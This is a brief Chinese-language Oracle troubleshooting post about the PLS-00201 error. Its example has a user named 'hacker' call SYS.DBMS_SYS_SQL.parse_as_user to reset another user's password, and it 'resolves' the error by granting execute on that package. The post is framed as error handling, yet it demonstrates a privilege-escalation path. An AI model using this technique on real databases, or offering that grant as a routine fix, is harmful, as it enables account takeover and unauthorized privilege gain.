ORACLE PLS-00201: identifier ‘SYS.DBMS_SYS_SQL’ must be declared 错误处理

create user hacker identified by hacker
default tablespace users temporary tablespace temp;

grant create session to hacker;

grant execute any procedure to hacker;

create user loser identified by loser
default tablespace users temporary tablespace temp;

grant connect to loser;

通过如下一段代码，Hacker用户就可以很多DDL语句，诸如修改其他用户的口令，对自我进行授权等：

connect hacker/hacker

DECLARE

  
UID       NUMBER;

  
sqltext   VARCHAR2 (100) := ‘alter
user loser identified by test’;

  
c         INTEGER;

BEGIN

   c
:= SYS.DBMS_SYS_SQL.open_cursor ();

  
SYS.DBMS_SYS_SQL.parse_as_user (c, sqltext, DBMS_SQL.native, 0);

  
SYS.DBMS_SYS_SQL.close_cursor (c);

   
END;

/

ERROR at line 6:
ORA-06550: line 6, column 8:
PLS-00201: identifier ‘SYS.DBMS_SYS_SQL’ must be declared
ORA-06550: line 6, column 3:
PL/SQL: Statement ignored
ORA-06550: line 7, column 3:
PLS-00201: identifier ‘SYS.DBMS_SYS_SQL’ must be declared
ORA-06550: line 7, column 3:
PL/SQL: Statement ignored
ORA-06550: line 8, column 3:
PLS-00201: identifier ‘SYS.DBMS_SYS_SQL’ must be declared
ORA-06550: line 8, column 3:
PL/SQL: Statement ignored

原因:

调用其他用户的包或存储过程.

解决方法:

在被调用的包或存储过程的用户下授权执行权限给调用用户:

grant execute on 包名 to 用户名;

conn / as sysdba

grant execute on DBMS_SYS_SQL to hacker;